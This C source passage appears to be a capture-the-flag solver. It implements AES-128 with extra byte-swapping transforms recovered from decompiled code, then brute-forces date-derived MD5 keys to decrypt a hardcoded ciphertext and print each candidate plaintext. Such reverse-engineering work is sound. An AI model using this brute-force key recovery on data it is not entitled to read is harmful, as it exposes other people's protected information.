            state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
404
                        ^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
405
        }
406
    }
407

408
    return 0;
409
}
410

411
// 逆列混合
412
int invMixColumns(uint8_t (*state)[4]) {
413
    uint8_t tmp[4][4];
414
    uint8_t M[4][4] = {{0x0E, 0x0B, 0x0D, 0x09},
415
                       {0x09, 0x0E, 0x0B, 0x0D},
416
                       {0x0D, 0x09, 0x0E, 0x0B},
417
                       {0x0B, 0x0D, 0x09, 0x0E}};  //使用列混合矩阵的逆矩阵
418

419
    /* copy state[4][4] to tmp[4][4] */
420
    for (int i = 0; i < 4; ++i) {
421
        for (int j = 0; j < 4; ++j){
422
            tmp[i][j] = state[i][j];
423
        }
424
    }
425

426
    for (int i = 0; i < 4; ++i) {
427
        for (int j = 0; j < 4; ++j) {
428
            state[i][j] = GMul(M[i][0], tmp[0][j]) ^ GMul(M[i][1], tmp[1][j])
429
                          ^ GMul(M[i][2], tmp[2][j]) ^ GMul(M[i][3], tmp[3][j]);
430
        }
431
    }
432

433
    return 0;
434
}
435

436

437
void init(unsigned char *a1)
438
{
439
  unsigned int i; // [esp+0h] [ebp-8h]
440
  char v2; // [esp+7h] [ebp-1h]
441

442
  for ( i = 0; i < 0x10; i += 2 )
443
  {
444
    v2 = a1[i] ^ 5;
445
    a1[i] = a1[i + 1] ^ 5;
446
    a1[i + 1] = v2;
447
  }
448
}
449

450
void init2(unsigned char *flag)
451
{
452
  unsigned int i; // [esp+0h] [ebp-Ch]
453
  unsigned int i_1; // [esp+4h] [ebp-8h]
454
  char v3; // [esp+Bh] [ebp-1h]
455

456
  i_1 = 0;
457
  for ( i = 15; i_1 < i; --i )
458
  {
459
    v3 = flag[i_1] ^ 0xF;
460
    flag[i_1] = flag[i] ^ 0xF;
461
    flag[i] = v3;
462
    ++i_1;
463
  }
464
}
465

466
void init3(unsigned char *a1)
467
{
468
  unsigned int i; // [esp+0h] [ebp-8h]
469
  char v2; // [esp+7h] [ebp-1h]
470

471
  for ( i = 0; i < 0x10; i += 2 )
472
  {
473
    v2 = a1[i] ^ 5;
474
    a1[i] = a1[i + 1] ^ 5;
475
    a1[i + 1] = v2;
476
  }
477
}
478
// AES-128加密接口，输入key应为16字节长度，输入长度应该是16字节整倍数，
479
// 这样输出长度与输入长度相同，函数调用外部为输出数据分配内存
480
int aesEncrypt(const uint8_t *key, uint32_t keyLen, uint8_t *pt, uint8_t *ct, uint32_t len) {
481

482
    AesKey aesKey;
483
    uint8_t *pos = ct;
484
    const uint32_t *rk = aesKey.eK;  //解密秘钥指针
485
    uint8_t out[BLOCKSIZE] = {0};
486
    uint8_t actualKey[16] = {0};
487
    uint8_t state[4][4] = {0};
488

489
    if (NULL == key || NULL == pt || NULL == ct){
490
        printf("param err.\n");
491
        return -1;
492
    }
493

494
    if (keyLen > 16){
495
        printf("keyLen must be 16.\n");
496
        return -1;
497
    }
498

499
    if (len % BLOCKSIZE){
500
        printf("inLen is invalid.\n");
501
        return -1;
502
    }
503
    for (int j = 0; j < 16; j++) {
504
        printf("%X ", pt[j]);
505
    }
506
    printf("\n");
507
    memcpy(actualKey, key, keyLen);
508
    init(actualKey);
509
    keyExpansion(actualKey, 16, &aesKey);  // 秘钥扩展
510

511
  // 使用ECB模式循环加密多个分组长度的数据
512
    for (int i = 0; i < len; i += BLOCKSIZE) {
513
    // 把16字节的明文转换为4x4状态矩阵来进行处理
514

515
        init2(pt);
516

517
        for (int j = 0; j < 16; j++) {
518
            printf("%X ", pt[j]);
519
        }
520
        printf("\n");
521
        loadStateArray(state, pt);
522
        // 轮秘钥加
523
        addRoundKey(state, rk);
524

525
        for (int j = 1; j < 10; ++j) {
526
            rk += 4;
527
            subBytes(state);   // 字节替换
528
            shiftRows(state);  // 行移位
529
            mixColumns(state); // 列混合
530
            addRoundKey(state, rk); // 轮秘钥加
531
        }
532

533

534

535
        subBytes(state);    // 字节替换
536

537
        shiftRows(state);  // 行移位
538
        // 此处不进行列混合
539

540
        addRoundKey(state, rk+4); // 轮秘钥加
541

542
    // 把4x4状态矩阵转换为uint8_t一维数组输出保存
543
        storeStateArray(state, pos);
544
        init3(pos);
545
        pos += BLOCKSIZE;  // 加密数据内存指针移动到下一个分组
546
        pt += BLOCKSIZE;   // 明文数据指针移动到下一个分组
547
        rk = aesKey.eK;    // 恢复rk指针到秘钥初始位置
548
    }
549
    return 0;
550
}
551

552
// AES128解密， 参数要求同加密
553
int aesDecrypt(const uint8_t *key, uint32_t keyLen, uint8_t *ct, uint8_t *pt, uint32_t len) {
554
    AesKey aesKey;
555
    uint8_t *pos = pt;
556
    const uint32_t *rk = aesKey.dK;  //解密秘钥指针
557
    uint8_t out[BLOCKSIZE] = {0};
558
    uint8_t actualKey[16] = {0};
559
    uint8_t state[4][4] = {0};
560

561
    if (NULL == key || NULL == ct || NULL == pt){
562
        printf("param err.\n");
563
        return -1;
564
    }
565

566
    if (keyLen > 16){
567
        printf("keyLen must be 16.\n");
568
        return -1;
569
    }
570

571
    if (len % BLOCKSIZE){
572
        printf("inLen is invalid.\n");
573
        return -1;
574
    }
575

576
    memcpy(actualKey, key, keyLen);
577
    init(actualKey);
578
    keyExpansion(actualKey, 16, &aesKey);  //秘钥扩展，同加密
579

580
    for (int i = 0; i < len; i += BLOCKSIZE) {
581
        init3(ct);
582
        // 把16字节的密文转换为4x4状态矩阵来进行处理
583
        loadStateArray(state, ct);
584
        // 轮秘钥加，同加密
585
        addRoundKey(state, rk);
586

587
        for (int j = 1; j < 10; ++j) {
588
            rk += 4;
589
            invShiftRows(state);    // 逆行移位
590
            invSubBytes(state);     // 逆字节替换，这两步顺序可以颠倒
591
            addRoundKey(state, rk); // 轮秘钥加，同加密
592
            invMixColumns(state);   // 逆列混合
593
        }
594

595
        invSubBytes(state);   // 逆字节替换
596
        invShiftRows(state);  // 逆行移位
597
        // 此处没有逆列混合
598
        addRoundKey(state, rk+4);  // 轮秘钥加，同加密
599

600
        storeStateArray(state, pos);  // 保存明文数据
601
        init2(pos);
602
        pos += BLOCKSIZE;  // 输出数据内存指针移位分组长度
603
        ct += BLOCKSIZE;   // 输入数据内存指针移位分组长度
604
        rk = aesKey.dK;    // 恢复rk指针到秘钥初始位置
605
    }
606
    return 0;
607
}
608

609
struct tm
610
{
611
    int day;
612
    int month;
613
    int year;
614
};
615

616

617

618
int main() {
619
    unsigned char key[16] ={0};
620
    unsigned char a[]={0xCD,0x16,0xDB,0xB5,0xD1,0x2,0xA4,0x82,0x8E,0x59,0x73,0x9E,0x96,0x26,0x56,0xF2,0x16,0x8E,0x46,0xF2,0x55,0x7B,0x92,0x31,0x30,0xDC,0xAA,0x8A,0xF3,0x1C,0xA0,0xAA};
621
    unsigned char b[16];
622
    unsigned char c[16];
623
    unsigned int Src[3];
624
    unsigned char plain[] = {0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31};
625
    unsigned char aa[12]={0x4,0x0,0x0,0x0,0x2,0x0,0x0,0x0,0x7D,0x0,0x0,0x0};
626
    unsigned char out[16];
627
    unsigned char r[16]={0};
628

629
    struct tm t;
630
    void* ptr = &t;
631
    t.year = 124;
632

633
    for(int i = 0; i < 12; i++) {
634
        for (int j = 1; j < 32; j++) {
635
            t.month = i;
636
            t.day = j;
637
            memset(Src, 0, 12);
638
            memset(key,0, 16);
639
            memcpy(Src, ptr, 12);
640
            md5((uint8_t*)Src, 12, key);
641
            for(int k = 0; k < 16; k++) {
642
                key[k] ^= 0x14;
643
                key[k] ^= 0x11;
644
            }
645
            aesDecrypt(key,16,a,c,32);
646
                for(int i = 0; i < 32; i++) {
647
                    printf("%c",*((char *)c+i)&0xff);
648
                }
649
            printf("\n");
650
        }
651
    }
652

653

654
}